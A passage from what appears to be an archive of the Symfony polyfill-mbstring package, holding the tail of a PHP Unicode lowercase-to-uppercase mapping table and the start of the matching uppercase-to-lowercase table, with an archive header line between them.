'Ḵ', 'ḷ' => 'Ḷ', 'ḹ' => 'Ḹ', 'ḻ' => 'Ḻ', 'ḽ' => 'Ḽ', 'ḿ' => 'Ḿ', 'ṁ' => 'Ṁ', 'ṃ' => 'Ṃ', 'ṅ' => 'Ṅ', 'ṇ' => 'Ṇ', 'ṉ' => 'Ṉ', 'ṋ' => 'Ṋ', 'ṍ' => 'Ṍ', 'ṏ' => 'Ṏ', 'ṑ' => 'Ṑ', 'ṓ' => 'Ṓ', 'ṕ' => 'Ṕ', 'ṗ' => 'Ṗ', 'ṙ' => 'Ṙ', 'ṛ' => 'Ṛ', 'ṝ' => 'Ṝ', 'ṟ' => 'Ṟ', 'ṡ' => 'Ṡ', 'ṣ' => 'Ṣ', 'ṥ' => 'Ṥ', 'ṧ' => 'Ṧ', 'ṩ' => 'Ṩ', 'ṫ' => 'Ṫ', 'ṭ' => 'Ṭ', 'ṯ' => 'Ṯ', 'ṱ' => 'Ṱ', 'ṳ' => 'Ṳ', 'ṵ' => 'Ṵ', 'ṷ' => 'Ṷ', 'ṹ' => 'Ṹ', 'ṻ' => 'Ṻ', 'ṽ' => 'Ṽ', 'ṿ' => 'Ṿ', 'ẁ' => 'Ẁ', 'ẃ' => 'Ẃ', 'ẅ' => 'Ẅ', 'ẇ' => 'Ẇ', 'ẉ' => 'Ẉ', 'ẋ' => 'Ẋ', 'ẍ' => 'Ẍ', 'ẏ' => 'Ẏ', 'ẑ' => 'Ẑ', 'ẓ' => 'Ẓ', 'ẕ' => 'Ẕ', 'ẛ' => 'Ṡ', 'ạ' => 'Ạ', 'ả' => 'Ả', 'ấ' => 'Ấ', 'ầ' => 'Ầ', 'ẩ' => 'Ẩ', 'ẫ' => 'Ẫ', 'ậ' => 'Ậ', 'ắ' => 'Ắ', 'ằ' => 'Ằ', 'ẳ' => 'Ẳ', 'ẵ' => 'Ẵ', 'ặ' => 'Ặ', 'ẹ' => 'Ẹ', 'ẻ' => 'Ẻ', 'ẽ' => 'Ẽ', 'ế' => 'Ế', 'ề' => 'Ề', 'ể' => 'Ể', 'ễ' => 'Ễ', 'ệ' => 'Ệ', 'ỉ' => 'Ỉ', 'ị' => 'Ị', 'ọ' => 'Ọ', 'ỏ' => 'Ỏ', 'ố' => 'Ố', 'ồ' => 'Ồ', 'ổ' => 'Ổ', 'ỗ' => 'Ỗ', 'ộ' => 'Ộ', 'ớ' => 'Ớ', 'ờ' => 'Ờ', 'ở' => 'Ở', 'ỡ' => 'Ỡ', 'ợ' => 'Ợ', 'ụ' => 'Ụ', 'ủ' => 'Ủ', 'ứ' => 'Ứ', 'ừ' => 'Ừ', 'ử' => 'Ử', 'ữ' => 'Ữ', 'ự' => 'Ự', 'ỳ' => 'Ỳ', 'ỵ' => 'Ỵ', 'ỷ' => 'Ỷ', 'ỹ' => 'Ỹ', 'ỻ' => 'Ỻ', 'ỽ' => 'Ỽ', 'ỿ' => 'Ỿ', 'ἀ' => 'Ἀ', 'ἁ' => 'Ἁ', 'ἂ' => 'Ἂ', 'ἃ' => 'Ἃ', 'ἄ' => 'Ἄ', 'ἅ' => 'Ἅ', 'ἆ' => 'Ἆ', 'ἇ' => 'Ἇ', 'ἐ' => 'Ἐ', 'ἑ' => 'Ἑ', 'ἒ' => 'Ἒ', 'ἓ' => 'Ἓ', 'ἔ' => 'Ἔ', 'ἕ' => 'Ἕ', 'ἠ' => 'Ἠ', 'ἡ' => 'Ἡ', 'ἢ' => 'Ἢ', 'ἣ' => 'Ἣ', 'ἤ' => 'Ἤ', 'ἥ' => 'Ἥ', 'ἦ' => 'Ἦ', 'ἧ' => 'Ἧ', 'ἰ' => 'Ἰ', 'ἱ' => 'Ἱ', 'ἲ' => 'Ἲ', 'ἳ' => 'Ἳ', 'ἴ' => 'Ἴ', 'ἵ' => 'Ἵ', 'ἶ' => 'Ἶ', 'ἷ' => 'Ἷ', 'ὀ' => 'Ὀ', 'ὁ' => 'Ὁ', 'ὂ' => 'Ὂ', 'ὃ' => 'Ὃ', 'ὄ' => 'Ὄ', 'ὅ' => 'Ὅ', 'ὑ' => 'Ὑ', 'ὓ' => 'Ὓ', 'ὕ' => 'Ὕ', 'ὗ' => 'Ὗ', 'ὠ' => 'Ὠ', 'ὡ' => 'Ὡ', 'ὢ' => 'Ὢ', 'ὣ' => 'Ὣ', 'ὤ' => 'Ὤ', 'ὥ' => 'Ὥ', 'ὦ' => 'Ὦ', 'ὧ' => 'Ὧ', 'ὰ' => 'Ὰ', 'ά' => 'Ά', 'ὲ' => 'Ὲ', 'έ' => 'Έ', 'ὴ' => 'Ὴ', 'ή' => 'Ή', 'ὶ' => 'Ὶ', 'ί' => 'Ί', 'ὸ' => 'Ὸ', 'ό' => 'Ό', 'ὺ' => 'Ὺ', 'ύ' => 'Ύ', 'ὼ' => 'Ὼ', 'ώ' => 'Ώ', 'ᾀ' => 'ἈΙ', 'ᾁ' => 'ἉΙ', 'ᾂ' => 'ἊΙ', 'ᾃ' => 'ἋΙ', 'ᾄ' => 'ἌΙ', 'ᾅ' => 'ἍΙ', 'ᾆ' => 'ἎΙ', 'ᾇ' => 'ἏΙ', 'ᾐ' => 'ἨΙ', 'ᾑ' => 'ἩΙ', 'ᾒ' => 'ἪΙ', 'ᾓ' => 'ἫΙ', 'ᾔ' => 'ἬΙ', 'ᾕ' => 'ἭΙ', 'ᾖ' => 'ἮΙ', 'ᾗ' => 'ἯΙ', 'ᾠ' => 'ὨΙ', 'ᾡ' => 'ὩΙ', 'ᾢ' => 'ὪΙ', 'ᾣ' => 'ὫΙ', 'ᾤ' => 'ὬΙ', 'ᾥ' => 'ὭΙ', 'ᾦ' => 'ὮΙ', 'ᾧ' => 'ὯΙ', 'ᾰ' => 'Ᾰ', 'ᾱ' => 'Ᾱ', 'ᾳ' => 'ΑΙ', 'ι' => 'Ι', 'ῃ' => 'ΗΙ', 'ῐ' => 'Ῐ', 'ῑ' => 'Ῑ', 'ῠ' => 'Ῠ', 'ῡ' => 'Ῡ', 'ῥ' => 'Ῥ', 'ῳ' => 'ΩΙ', 'ⅎ' => 'Ⅎ', 'ⅰ' => 'Ⅰ', 'ⅱ' => 'Ⅱ', 'ⅲ' => 'Ⅲ', 'ⅳ' => 'Ⅳ', 'ⅴ' => 'Ⅴ', 'ⅵ' => 'Ⅵ', 'ⅶ' => 'Ⅶ', 'ⅷ' => 'Ⅷ', 'ⅸ' => 'Ⅸ', 'ⅹ' => 'Ⅹ', 'ⅺ' => 'Ⅺ', 'ⅻ' => 'Ⅻ', 'ⅼ' => 'Ⅼ', 'ⅽ' => 'Ⅽ', 'ⅾ' => 'Ⅾ', 'ⅿ' => 'Ⅿ', 'ↄ' => 'Ↄ', 'ⓐ' => 'Ⓐ', 'ⓑ' => 'Ⓑ', 'ⓒ' => 'Ⓒ', 'ⓓ' => 'Ⓓ', 'ⓔ' => 'Ⓔ', 'ⓕ' => 'Ⓕ', 'ⓖ' => 'Ⓖ', 'ⓗ' => 'Ⓗ', 'ⓘ' => 'Ⓘ', 'ⓙ' => 'Ⓙ', 'ⓚ' => 'Ⓚ', 'ⓛ' => 'Ⓛ', 'ⓜ' => 'Ⓜ', 'ⓝ' => 'Ⓝ', 'ⓞ' => 'Ⓞ', 'ⓟ' => 'Ⓟ', 'ⓠ' => 'Ⓠ', 'ⓡ' => 'Ⓡ', 'ⓢ' => 'Ⓢ', 'ⓣ' => 'Ⓣ', 'ⓤ' => 'Ⓤ', 'ⓥ' => 'Ⓥ', 'ⓦ' => 'Ⓦ', 'ⓧ' => 'Ⓧ', 'ⓨ' => 'Ⓨ', 'ⓩ' => 'Ⓩ', 'ⰰ' => 'Ⰰ', 'ⰱ' => 'Ⰱ', 'ⰲ' => 'Ⰲ', 'ⰳ' => 'Ⰳ', 'ⰴ' => 'Ⰴ', 'ⰵ' => 'Ⰵ', 'ⰶ' => 'Ⰶ', 'ⰷ' => 'Ⰷ', 'ⰸ' => 'Ⰸ', 'ⰹ' => 'Ⰹ', 'ⰺ' => 'Ⰺ', 'ⰻ' => 'Ⰻ', 'ⰼ' => 'Ⰼ', 'ⰽ' => 'Ⰽ', 'ⰾ' => 'Ⰾ', 'ⰿ' => 'Ⰿ', 'ⱀ' => 'Ⱀ', 'ⱁ' => 'Ⱁ', 'ⱂ' => 'Ⱂ', 'ⱃ' => 'Ⱃ', 'ⱄ' => 'Ⱄ', 'ⱅ' => 'Ⱅ', 'ⱆ' => 'Ⱆ', 'ⱇ' => 'Ⱇ', 'ⱈ' => 'Ⱈ', 'ⱉ' => 'Ⱉ', 'ⱊ' => 'Ⱊ', 'ⱋ' => 'Ⱋ', 'ⱌ' => 'Ⱌ', 'ⱍ' => 'Ⱍ', 'ⱎ' => 'Ⱎ', 'ⱏ' => 'Ⱏ', 'ⱐ' => 'Ⱐ', 'ⱑ' => 'Ⱑ', 'ⱒ' => 'Ⱒ', 'ⱓ' => 'Ⱓ', 'ⱔ' => 'Ⱔ', 'ⱕ' => 'Ⱕ', 'ⱖ' => 'Ⱖ', 'ⱗ' => 'Ⱗ', 'ⱘ' => 'Ⱘ', 'ⱙ' => 'Ⱙ', 'ⱚ' => 'Ⱚ', 'ⱛ' => 'Ⱛ', 'ⱜ' => 'Ⱜ', 'ⱝ' => 'Ⱝ', 'ⱞ' => 'Ⱞ', 'ⱡ' => 'Ⱡ', 'ⱥ' => 'Ⱥ', 'ⱦ' => 'Ⱦ', 'ⱨ' => 'Ⱨ', 'ⱪ' => 'Ⱪ', 'ⱬ' => 'Ⱬ', 'ⱳ' => 'Ⱳ', 'ⱶ' => 'Ⱶ', 'ⲁ' => 'Ⲁ', 'ⲃ' => 'Ⲃ', 'ⲅ' => 'Ⲅ', 'ⲇ' => 'Ⲇ', 'ⲉ' => 'Ⲉ', 'ⲋ' => 'Ⲋ', 'ⲍ' => 'Ⲍ', 'ⲏ' => 'Ⲏ', 'ⲑ' => 'Ⲑ', 'ⲓ' => 'Ⲓ', 'ⲕ' => 'Ⲕ', 'ⲗ' => 'Ⲗ', 'ⲙ' => 'Ⲙ', 'ⲛ' => 'Ⲛ', 'ⲝ' => 'Ⲝ', 'ⲟ' => 'Ⲟ', 'ⲡ' => 'Ⲡ', 'ⲣ' => 'Ⲣ', 'ⲥ' => 'Ⲥ', 'ⲧ' => 'Ⲧ', 'ⲩ' => 'Ⲩ', 'ⲫ' => 'Ⲫ', 'ⲭ' => 'Ⲭ', 'ⲯ' => 'Ⲯ', 'ⲱ' => 'Ⲱ', 'ⲳ' => 'Ⲳ', 'ⲵ' => 'Ⲵ', 'ⲷ' => 'Ⲷ', 'ⲹ' => 'Ⲹ', 'ⲻ' => 'Ⲻ', 'ⲽ' => 'Ⲽ', 'ⲿ' => 'Ⲿ', 'ⳁ' => 'Ⳁ', 'ⳃ' => 'Ⳃ', 'ⳅ' => 'Ⳅ', 'ⳇ' => 'Ⳇ', 'ⳉ' => 'Ⳉ', 'ⳋ' => 'Ⳋ', 'ⳍ' => 'Ⳍ', 'ⳏ' => 'Ⳏ', 'ⳑ' => 'Ⳑ', 'ⳓ' => 'Ⳓ', 'ⳕ' => 'Ⳕ', 'ⳗ' => 'Ⳗ', 'ⳙ' => 'Ⳙ', 'ⳛ' => 'Ⳛ', 'ⳝ' => 'Ⳝ', 'ⳟ' => 'Ⳟ', 'ⳡ' => 'Ⳡ', 'ⳣ' => 'Ⳣ', 'ⳬ' => 'Ⳬ', 'ⳮ' => 'Ⳮ', 'ⳳ' => 'Ⳳ', 'ⴀ' => 'Ⴀ', 'ⴁ' => 'Ⴁ', 'ⴂ' => 'Ⴂ', 'ⴃ' => 'Ⴃ', 'ⴄ' => 'Ⴄ', 'ⴅ' => 'Ⴅ', 'ⴆ' => 'Ⴆ', 'ⴇ' => 'Ⴇ', 'ⴈ' => 'Ⴈ', 'ⴉ' => 'Ⴉ', 'ⴊ' => 'Ⴊ', 'ⴋ' => 'Ⴋ', 'ⴌ' => 'Ⴌ', 'ⴍ' => 'Ⴍ', 'ⴎ' => 'Ⴎ', 'ⴏ' => 'Ⴏ', 'ⴐ' => 'Ⴐ', 'ⴑ' => 'Ⴑ', 'ⴒ' => 'Ⴒ', 'ⴓ' => 'Ⴓ', 'ⴔ' => 'Ⴔ', 'ⴕ' => 'Ⴕ', 'ⴖ' => 'Ⴖ', 'ⴗ' => 'Ⴗ', 'ⴘ' => 'Ⴘ', 'ⴙ' => 'Ⴙ', 'ⴚ' => 'Ⴚ', 'ⴛ' => 'Ⴛ', 'ⴜ' => 'Ⴜ', 'ⴝ' => 'Ⴝ', 'ⴞ' => 'Ⴞ', 'ⴟ' => 'Ⴟ', 'ⴠ' => 'Ⴠ', 'ⴡ' => 'Ⴡ', 'ⴢ' => 'Ⴢ', 'ⴣ' => 'Ⴣ', 'ⴤ' => 'Ⴤ', 'ⴥ' => 'Ⴥ', 'ⴧ' => 'Ⴧ', 'ⴭ' => 'Ⴭ', 'ꙁ' => 'Ꙁ', 'ꙃ' => 'Ꙃ', 'ꙅ' => 'Ꙅ', 'ꙇ' => 'Ꙇ', 'ꙉ' => 'Ꙉ', 'ꙋ' => 'Ꙋ', 'ꙍ' => 'Ꙍ', 'ꙏ' => 'Ꙏ', 'ꙑ' => 'Ꙑ', 'ꙓ' => 'Ꙓ', 'ꙕ' => 'Ꙕ', 'ꙗ' => 'Ꙗ', 'ꙙ' => 'Ꙙ', 'ꙛ' => 'Ꙛ', 'ꙝ' => 'Ꙝ', 'ꙟ' => 'Ꙟ', 'ꙡ' => 'Ꙡ', 'ꙣ' => 'Ꙣ', 'ꙥ' => 'Ꙥ', 'ꙧ' => 'Ꙧ', 'ꙩ' => 'Ꙩ', 'ꙫ' => 'Ꙫ', 'ꙭ' => 'Ꙭ', 'ꚁ' => 'Ꚁ', 'ꚃ' => 'Ꚃ', 'ꚅ' => 'Ꚅ', 'ꚇ' => 'Ꚇ', 'ꚉ' => 'Ꚉ', 'ꚋ' => 'Ꚋ', 'ꚍ' => 'Ꚍ', 'ꚏ' => 'Ꚏ', 'ꚑ' => 'Ꚑ', 'ꚓ' => 'Ꚓ', 'ꚕ' => 'Ꚕ', 'ꚗ' => 'Ꚗ', 'ꚙ' => 'Ꚙ', 'ꚛ' => 'Ꚛ', 'ꜣ' => 'Ꜣ', 'ꜥ' => 'Ꜥ', 'ꜧ' => 'Ꜧ', 'ꜩ' => 'Ꜩ', 'ꜫ' => 'Ꜫ', 'ꜭ' => 'Ꜭ', 'ꜯ' => 'Ꜯ', 'ꜳ' => 'Ꜳ', 'ꜵ' => 'Ꜵ', 'ꜷ' => 'Ꜷ', 'ꜹ' => 'Ꜹ', 'ꜻ' => 'Ꜻ', 'ꜽ' => 'Ꜽ', 'ꜿ' => 'Ꜿ', 'ꝁ' => 'Ꝁ', 'ꝃ' => 'Ꝃ', 'ꝅ' => 'Ꝅ', 'ꝇ' => 'Ꝇ', 'ꝉ' => 'Ꝉ', 'ꝋ' => 'Ꝋ', 'ꝍ' => 'Ꝍ', 'ꝏ' => 'Ꝏ', 'ꝑ' => 'Ꝑ', 'ꝓ' => 'Ꝓ', 'ꝕ' => 'Ꝕ', 'ꝗ' => 'Ꝗ', 'ꝙ' => 'Ꝙ', 'ꝛ' => 'Ꝛ', 'ꝝ' => 'Ꝝ', 'ꝟ' => 'Ꝟ', 'ꝡ' => 'Ꝡ', 'ꝣ' => 'Ꝣ', 'ꝥ' => 'Ꝥ', 'ꝧ' => 'Ꝧ', 'ꝩ' => 'Ꝩ', 'ꝫ' => 'Ꝫ', 'ꝭ' => 'Ꝭ', 'ꝯ' => 'Ꝯ', 'ꝺ' => 'Ꝺ', 'ꝼ' => 'Ꝼ', 'ꝿ' => 'Ꝿ', 'ꞁ' => 'Ꞁ', 'ꞃ' => 'Ꞃ', 'ꞅ' => 'Ꞅ', 'ꞇ' => 'Ꞇ', 'ꞌ' => 'Ꞌ', 'ꞑ' => 'Ꞑ', 'ꞓ' => 'Ꞓ', 'ꞔ' => 'Ꞔ', 'ꞗ' => 'Ꞗ', 'ꞙ' => 'Ꞙ', 'ꞛ' => 'Ꞛ', 'ꞝ' => 'Ꞝ', 'ꞟ' => 'Ꞟ', 'ꞡ' => 'Ꞡ', 'ꞣ' => 'Ꞣ', 'ꞥ' => 'Ꞥ', 'ꞧ' => 'Ꞧ', 'ꞩ' => 'Ꞩ', 'ꞵ' => 'Ꞵ', 'ꞷ' => 'Ꞷ', 'ꞹ' => 'Ꞹ', 'ꞻ' => 'Ꞻ', 'ꞽ' => 'Ꞽ', 'ꞿ' => 'Ꞿ', 'ꟃ' => 'Ꟃ', 'ꟈ' => 'Ꟈ', 'ꟊ' => 'Ꟊ', 'ꟶ' => 'Ꟶ', 'ꭓ' => 'Ꭓ', 'ꭰ' => 'Ꭰ', 'ꭱ' => 'Ꭱ', 'ꭲ' => 'Ꭲ', 'ꭳ' => 'Ꭳ', 'ꭴ' => 'Ꭴ', 'ꭵ' => 'Ꭵ', 'ꭶ' => 'Ꭶ', 'ꭷ' => 'Ꭷ', 'ꭸ' => 'Ꭸ', 'ꭹ' => 'Ꭹ', 'ꭺ' => 'Ꭺ', 'ꭻ' => 'Ꭻ', 'ꭼ' => 'Ꭼ', 'ꭽ' => 'Ꭽ', 'ꭾ' => 'Ꭾ', 'ꭿ' => 'Ꭿ', 'ꮀ' => 'Ꮀ', 'ꮁ' => 'Ꮁ', 'ꮂ' => 'Ꮂ', 'ꮃ' => 'Ꮃ', 'ꮄ' => 'Ꮄ', 'ꮅ' => 'Ꮅ', 'ꮆ' => 'Ꮆ', 'ꮇ' => 'Ꮇ', 'ꮈ' => 'Ꮈ', 'ꮉ' => 'Ꮉ', 'ꮊ' => 'Ꮊ', 'ꮋ' => 'Ꮋ', 'ꮌ' => 'Ꮌ', 'ꮍ' => 'Ꮍ', 'ꮎ' => 'Ꮎ', 'ꮏ' => 'Ꮏ', 'ꮐ' => 'Ꮐ', 'ꮑ' => 'Ꮑ', 'ꮒ' => 'Ꮒ', 'ꮓ' => 'Ꮓ', 'ꮔ' => 'Ꮔ', 'ꮕ' => 'Ꮕ', 'ꮖ' => 'Ꮖ', 'ꮗ' => 'Ꮗ', 'ꮘ' => 'Ꮘ', 'ꮙ' => 'Ꮙ', 'ꮚ' => 'Ꮚ', 'ꮛ' => 'Ꮛ', 'ꮜ' => 'Ꮜ', 'ꮝ' => 'Ꮝ', 'ꮞ' => 'Ꮞ', 'ꮟ' => 'Ꮟ', 'ꮠ' => 'Ꮠ', 'ꮡ' => 'Ꮡ', 'ꮢ' => 'Ꮢ', 'ꮣ' => 'Ꮣ', 'ꮤ' => 'Ꮤ', 'ꮥ' => 'Ꮥ', 'ꮦ' => 'Ꮦ', 'ꮧ' => 'Ꮧ', 'ꮨ' => 'Ꮨ', 'ꮩ' => 'Ꮩ', 'ꮪ' => 'Ꮪ', 'ꮫ' => 'Ꮫ', 'ꮬ' => 'Ꮬ', 'ꮭ' => 'Ꮭ', 'ꮮ' => 'Ꮮ', 'ꮯ' => 'Ꮯ', 'ꮰ' => 'Ꮰ', 'ꮱ' => 'Ꮱ', 'ꮲ' => 'Ꮲ', 'ꮳ' => 'Ꮳ', 'ꮴ' => 'Ꮴ', 'ꮵ' => 'Ꮵ', 'ꮶ' => 'Ꮶ', 'ꮷ' => 'Ꮷ', 'ꮸ' => 'Ꮸ', 'ꮹ' => 'Ꮹ', 'ꮺ' => 'Ꮺ', 'ꮻ' => 'Ꮻ', 'ꮼ' => 'Ꮼ', 'ꮽ' => 'Ꮽ', 'ꮾ' => 'Ꮾ', 'ꮿ' => 'Ꮿ', 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', '𐐨' => '𐐀', '𐐩' => '𐐁', '𐐪' => '𐐂', '𐐫' => '𐐃', '𐐬' => '𐐄', '𐐭' => '𐐅', '𐐮' => '𐐆', '𐐯' => '𐐇', '𐐰' => '𐐈', '𐐱' => '𐐉', '𐐲' => '𐐊', '𐐳' => '𐐋', '𐐴' => '𐐌', '𐐵' => '𐐍', '𐐶' => '𐐎', '𐐷' => '𐐏', '𐐸' => '𐐐', '𐐹' => '𐐑', '𐐺' => '𐐒', '𐐻' => '𐐓', '𐐼' => '𐐔', '𐐽' => '𐐕', '𐐾' => '𐐖', '𐐿' => '𐐗', '𐑀' => '𐐘', '𐑁' => '𐐙', '𐑂' => '𐐚', '𐑃' => '𐐛', '𐑄' => '𐐜', '𐑅' => '𐐝', '𐑆' => '𐐞', '𐑇' => '𐐟', '𐑈' => '𐐠', '𐑉' => '𐐡', '𐑊' => '𐐢', '𐑋' => '𐐣', '𐑌' => '𐐤', '𐑍' => '𐐥', '𐑎' => '𐐦', '𐑏' => '𐐧', '𐓘' => '𐒰', '𐓙' => '𐒱', '𐓚' => '𐒲', '𐓛' => '𐒳', '𐓜' => '𐒴', '𐓝' => '𐒵', '𐓞' => '𐒶', '𐓟' => '𐒷', '𐓠' => '𐒸', '𐓡' => '𐒹', '𐓢' => '𐒺', '𐓣' => '𐒻', '𐓤' => '𐒼', '𐓥' => '𐒽', '𐓦' => '𐒾', '𐓧' => '𐒿', '𐓨' => '𐓀', '𐓩' => '𐓁', '𐓪' => '𐓂', '𐓫' => '𐓃', '𐓬' => '𐓄', '𐓭' => '𐓅', '𐓮' => '𐓆', '𐓯' => '𐓇', '𐓰' => '𐓈', '𐓱' => '𐓉', '𐓲' => '𐓊', '𐓳' => '𐓋', '𐓴' => '𐓌', '𐓵' => '𐓍', '𐓶' => '𐓎', '𐓷' => '𐓏', '𐓸' => '𐓐', '𐓹' => '𐓑', '𐓺' => '𐓒', '𐓻' => '𐓓', '𐳀' => '𐲀', '𐳁' => '𐲁', '𐳂' => '𐲂', '𐳃' => '𐲃', '𐳄' => '𐲄', '𐳅' => '𐲅', '𐳆' => '𐲆', '𐳇' => '𐲇', '𐳈' => '𐲈', '𐳉' => '𐲉', '𐳊' => '𐲊', '𐳋' => '𐲋', '𐳌' => '𐲌', '𐳍' => '𐲍', '𐳎' => '𐲎', '𐳏' => '𐲏', '𐳐' => '𐲐', '𐳑' => '𐲑', '𐳒' => '𐲒', '𐳓' => '𐲓', '𐳔' => '𐲔', '𐳕' => '𐲕', '𐳖' => '𐲖', '𐳗' => '𐲗', '𐳘' => '𐲘', '𐳙' => '𐲙', '𐳚' => '𐲚', '𐳛' => '𐲛', '𐳜' => '𐲜', '𐳝' => '𐲝', '𐳞' => '𐲞', '𐳟' => '𐲟', '𐳠' => '𐲠', '𐳡' => '𐲡', '𐳢' => '𐲢', '𐳣' => '𐲣', '𐳤' => '𐲤', '𐳥' => '𐲥', '𐳦' => '𐲦', '𐳧' => '𐲧', '𐳨' => '𐲨', '𐳩' => '𐲩', '𐳪' => '𐲪', '𐳫' => '𐲫', '𐳬' => '𐲬', '𐳭' => '𐲭', '𐳮' => '𐲮', '𐳯' => '𐲯', '𐳰' => '𐲰', '𐳱' => '𐲱', '𐳲' => '𐲲', '𑣀' => '𑢠', '𑣁' => '𑢡', '𑣂' => '𑢢', '𑣃' => '𑢣', '𑣄' => '𑢤', '𑣅' => '𑢥', '𑣆' => '𑢦', '𑣇' => '𑢧', '𑣈' => '𑢨', '𑣉' => '𑢩', '𑣊' => '𑢪', '𑣋' => '𑢫', '𑣌' => '𑢬', '𑣍' => '𑢭', '𑣎' => '𑢮', '𑣏' => '𑢯', '𑣐' => '𑢰', '𑣑' => '𑢱', '𑣒' => '𑢲', '𑣓' => '𑢳', '𑣔' => '𑢴', '𑣕' => '𑢵', '𑣖' => '𑢶', '𑣗' => '𑢷', '𑣘' => '𑢸', '𑣙' => '𑢹', '𑣚' => '𑢺', '𑣛' => '𑢻', '𑣜' => '𑢼', '𑣝' => '𑢽', '𑣞' => '𑢾', '𑣟' => '𑢿', '𖹠' => '𖹀', '𖹡' => '𖹁', '𖹢' => '𖹂', '𖹣' => '𖹃', '𖹤' => '𖹄', '𖹥' => '𖹅', '𖹦' => '𖹆', '𖹧' => '𖹇', '𖹨' => '𖹈', '𖹩' => '𖹉', '𖹪' => '𖹊', '𖹫' => '𖹋', '𖹬' => '𖹌', '𖹭' => '𖹍', '𖹮' => '𖹎', '𖹯' => '𖹏', '𖹰' => '𖹐', '𖹱' => '𖹑', '𖹲' => '𖹒', '𖹳' => '𖹓', '𖹴' => '𖹔', '𖹵' => '𖹕', '𖹶' => '𖹖', '𖹷' => '𖹗', '𖹸' => '𖹘', '𖹹' => '𖹙', '𖹺' => '𖹚', '𖹻' => '𖹛', '𖹼' => '𖹜', '𖹽' => '𖹝', '𖹾' => '𖹞', '𖹿' => '𖹟', '𞤢' => '𞤀', '𞤣' => '𞤁', '𞤤' => '𞤂', '𞤥' => '𞤃', '𞤦' => '𞤄', '𞤧' => '𞤅', '𞤨' => '𞤆', '𞤩' => '𞤇', '𞤪' => '𞤈', '𞤫' => '𞤉', '𞤬' => '𞤊', '𞤭' => '𞤋', '𞤮' => '𞤌', '𞤯' => '𞤍', '𞤰' => '𞤎', '𞤱' => '𞤏', '𞤲' => '𞤐', '𞤳' => '𞤑', '𞤴' => '𞤒', '𞤵' => '𞤓', '𞤶' => '𞤔', '𞤷' => '𞤕', '𞤸' => '𞤖', '𞤹' => '𞤗', '𞤺' => '𞤘', '𞤻' => '𞤙', '𞤼' => '𞤚', '𞤽' => '𞤛', '𞤾' => '𞤜', '𞤿' => '𞤝', '𞥀' => '𞤞', '𞥁' => '𞤟', '𞥂' => '𞤠', '𞥃' => '𞤡', 'ß' => 'SS', 'ff' => 'FF', 'fi' => 'FI', 'fl' => 'FL', 'ffi' => 'FFI', 'ffl' => 'FFL', 'ſt' => 'ST', 'st' => 'ST', 'և' => 'ԵՒ', 'ﬓ' => 'ՄՆ', 'ﬔ' => 'ՄԵ', 'ﬕ' => 'ՄԻ', 'ﬖ' => 'ՎՆ', 'ﬗ' => 'ՄԽ', 'ʼn' => 'ʼN', 'ΐ' => 'Ϊ́', 'ΰ' => 'Ϋ́', 'ǰ' => 'J̌', 'ẖ' => 'H̱', 'ẗ' => 'T̈', 'ẘ' => 'W̊', 'ẙ' => 'Y̊', 'ẚ' => 'Aʾ', 'ὐ' => 'Υ̓', 'ὒ' => 'Υ̓̀', 'ὔ' => 'Υ̓́', 'ὖ' => 'Υ̓͂', 'ᾶ' => 'Α͂', 'ῆ' => 'Η͂', 'ῒ' => 'Ϊ̀', 'ΐ' => 'Ϊ́', 'ῖ' => 'Ι͂', 'ῗ' => 'Ϊ͂', 'ῢ' => 'Ϋ̀', 'ΰ' => 'Ϋ́', 'ῤ' => 'Ρ̓', 'ῦ' => 'Υ͂', 'ῧ' => 'Ϋ͂', 'ῶ' => 'Ω͂', 'ᾈ' => 'ἈΙ', 'ᾉ' => 'ἉΙ', 'ᾊ' => 'ἊΙ', 'ᾋ' => 'ἋΙ', 'ᾌ' => 'ἌΙ', 'ᾍ' => 'ἍΙ', 'ᾎ' => 'ἎΙ', 'ᾏ' => 'ἏΙ', 'ᾘ' => 'ἨΙ', 'ᾙ' => 'ἩΙ', 'ᾚ' => 'ἪΙ', 'ᾛ' => 'ἫΙ', 'ᾜ' => 'ἬΙ', 'ᾝ' => 'ἭΙ', 'ᾞ' => 'ἮΙ', 'ᾟ' => 'ἯΙ', 'ᾨ' => 'ὨΙ', 'ᾩ' => 'ὩΙ', 'ᾪ' => 'ὪΙ', 'ᾫ' => 'ὫΙ', 'ᾬ' => 'ὬΙ', 'ᾭ' => 'ὭΙ', 'ᾮ' => 'ὮΙ', 'ᾯ' => 'ὯΙ', 'ᾼ' => 'ΑΙ', 'ῌ' => 'ΗΙ', 'ῼ' => 'ΩΙ', 'ᾲ' => 'ᾺΙ', 'ᾴ' => 'ΆΙ', 'ῂ' => 'ῊΙ', 'ῄ' => 'ΉΙ', 'ῲ' => 'ῺΙ', 'ῴ' => 'ΏΙ', 'ᾷ' => 'Α͂Ι', 'ῇ' => 'Η͂Ι', 'ῷ' => 'Ω͂Ι', ); symfony/polyfill-mbstring/Resources/unidata/lowerCase.php000064400000057733151676714400020013 0ustar00<?php return array ( 'A' => 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', 'À' => 'à', 'Á' => 'á', 'Â' => 'â', 'Ã' => 'ã', 'Ä' => 'ä', 'Å' => 'å', 'Æ' => 'æ', 'Ç' => 'ç', 'È' => 'è', 'É' => 'é', 'Ê' => 'ê', 'Ë' => 'ë', 'Ì' => 'ì', 'Í' => 'í', 'Î' => 'î', 'Ï' => 'ï', 'Ð' => 'ð', 'Ñ' => 'ñ', 'Ò' => 'ò', 'Ó' => 'ó', 'Ô' => 'ô', 'Õ' => 'õ', 'Ö' => 'ö', 'Ø' => 'ø', 'Ù' => 'ù', 'Ú' => 'ú', 'Û' => 'û', 'Ü' => 'ü', 'Ý' => 'ý', 'Þ' => 'þ', 'Ā' => 'ā', 'Ă' => 'ă', 'Ą' => 'ą', 'Ć' => 'ć', 'Ĉ' => 'ĉ', 'Ċ' => 'ċ', 